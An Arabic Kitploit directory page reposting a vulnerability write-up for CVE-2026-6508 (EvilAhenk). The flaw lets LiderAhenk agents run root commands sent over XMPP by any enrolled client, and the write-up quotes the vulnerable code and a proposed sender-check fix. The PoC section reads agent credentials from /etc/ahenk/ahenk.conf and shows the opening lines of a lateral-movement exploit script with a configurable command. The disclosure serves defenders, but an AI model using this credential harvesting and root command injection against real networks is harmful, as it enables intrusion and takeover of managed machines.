Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
EvilAhenk — CVE-2026-6508 ثغرة أمنية حرجة في بنية نظام الإدارة المركزية LiderAhenk تسمح بتنفيذ تعليمات برمجية غير مصرح بها (RCE) وحركة جانبية (Lateral Movement) عبر جميع العملاء (الأجهزة الطرفية) باستخدام صلاحيات "الجذر" (root). | Kitploit
أدوات/GitHubGitHub/jackalkarlos/evilahenk
تصعيد الامتيازاتتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالالحركة الجانبيةما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعد
GitHubjackalkarlos/evilahenk

EvilAhenk

2منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-6508 ثغرة أمنية حرجة في بنية نظام الإدارة المركزية LiderAhenk تسمح بتنفيذ تعليمات برمجية غير مصرح بها (RCE) وحركة جانبية (Lateral Movement) عبر جميع العملاء (الأجهزة الطرفية) باستخدام صلاحيات "الجذر" (root).

عرض المستودع

CVE-2026-6508

EvilAhenk هي ثغرة أمنية حرجة في بنية نظام الإدارة المركزية LiderAhenk تسمح بتنفيذ كود بصلاحيات الجذر (Unauthorized RCE & Lateral Movement) على جميع العملاء (agents) فيما بينهم.

كيف يعمل النظام

في LiderAhenk، ترسل لوحة التحكم/الخادم المركزي رسائل المهام والسياسات إلى العملاء عبر XMPP.

  • تتصل لوحة الإدارة المركزية بخادم XMPP باستخدام مستخدم مصرح له،
  • تتصل وكلاء ahenk على العملاء أيضًا بنفس البنية التحتية لـ XMPP،
  • يرسل المركز رسائل مثل EXECUTE_POLICY، EXECUTE_TASK أو EXECUTE_SCRIPT إلى العميل المستهدف،
  • يقوم وكيل العميل باستلام هذه الرسائل وتنفيذها.

أي أن XMPP هنا هو قناة نقل حركة الإدارة. تذهب أوامر اللوحة المركزية عادةً عبر هذه القناة إلى العملاء.

الفرق بين التدفق المتوقع والتدفق المخترق

التدفق المتوقع:

root@kitploit:~
لوحة تحكم Lider/Ahenk -> خادم XMPP -> الوكيل المستهدف

التدفق المخترق:

  • ct-2 هو عميل صالح متصل بنفس خادم XMPP
  • يرسل ct-2 رسالة EXECUTE_SCRIPT عبر خادم XMPP مستهدفاً JID الخاص بـ ct-1
  • يقوم خادم XMPP بتسليم الرسالة إلى ct-1
  • ينفذ ct-1 الأمر دون التحقق مما إذا كانت الرسالة قد جاءت بالفعل من lider_sunucu
  • يتم تنفيذ الأمر كجذر لأن ahenk.service يعمل كجذر
root@kitploit:~
ct-2 أو أي حساب XMPP آخر -> خادم XMPP -> وكيل ct-1 -> أمر جذر

أي أننا لا نخترق طبقة XMPP نفسها. يقوم خادم XMPP بتوجيه الرسالة بشكل طبيعي. المشكلة هي أن وكيل Ahenk على جانب ct-1 لا يتحقق مما إذا كانت الرسالة قد جاءت بالفعل من حساب إدارة مصرح به.

PoC

root@kitploit:~
pip install slixmpp

يتم جمع المعلومات التالية من عميل تم اختراقه ومتصل بنظام الإدارة المركزية:

root@kitploit:~
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf

مثال على الإخراج:

root@kitploit:~
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org

نقوم بتحديث ملف Main.py وفقاً للمعلومات التي حصلنا عليها، domain = im.liderahenk.org، الهدف uid = pardus-ct-1

root@kitploit:~
- مستخدم XMPP: `[email protected]`
- كلمة مرور XMPP: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- مضيف XMPP: `192.168.100.13`
- منفذ XMPP: `5222`
- الهدف الافتراضي: `[email protected]`

يمكن تعديل الأمر الذي سيتم تنفيذه على الجهاز الضحية عن طريق تغيير متغير COMMAND.

root@kitploit:~
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP

XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"

الكود المخترق

داخل repos/ahenk/src/base/messaging/messenger.py تتم معالجة الرسالة الواردة بناءً على حقل type فقط. لا يوجد التحقق من أن msg['from'] هو مرسل مصرح به:

root@kitploit:~
def recv_direct_message(self, msg):
    if msg['type'] in ['normal']:
        j = json.loads(str(msg['body']))
        message_type = j['type']
        self.event_manger.fireEvent(message_type, str(msg['body']))

داخل repos/ahenk/src/base/execution/execution_manager.py، يؤدي EXECUTE_SCRIPT مباشرة إلى تنفيذ أمر:

root@kitploit:~
def execute_script(self, arg):
    json_data = json.loads(arg)
    result_code, p_out, p_err = Util.execute(str(json_data['command']))

عند الجمع بين هذين الجزأين، يكون التأثير كما يلي:

  • يقوم خادم XMPP بتسليم الرسالة إلى الهدف
  • يقوم الوكيل الضحية بتشغيل حدث EXECUTE_SCRIPT دون التحقق من المرسل
  • يتم تنفيذ الأمر كجذر

الإصلاح المحتمل على مستوى التصميم:

root@kitploit:~
def recv_direct_message(self, msg):
    if msg['type'] != 'normal':
        return

    allowed_sender = self.receiver.split('/')[0]
    actual_sender = msg['from'].bare
    if actual_sender != allowed_sender:
        self.logger.warning("Rejected message from %s", actual_sender)
        return

    j = json.loads(str(msg['body']))
    self.event_manger.fireEvent(j['type'], str(msg['body']))
تنزيل الأداة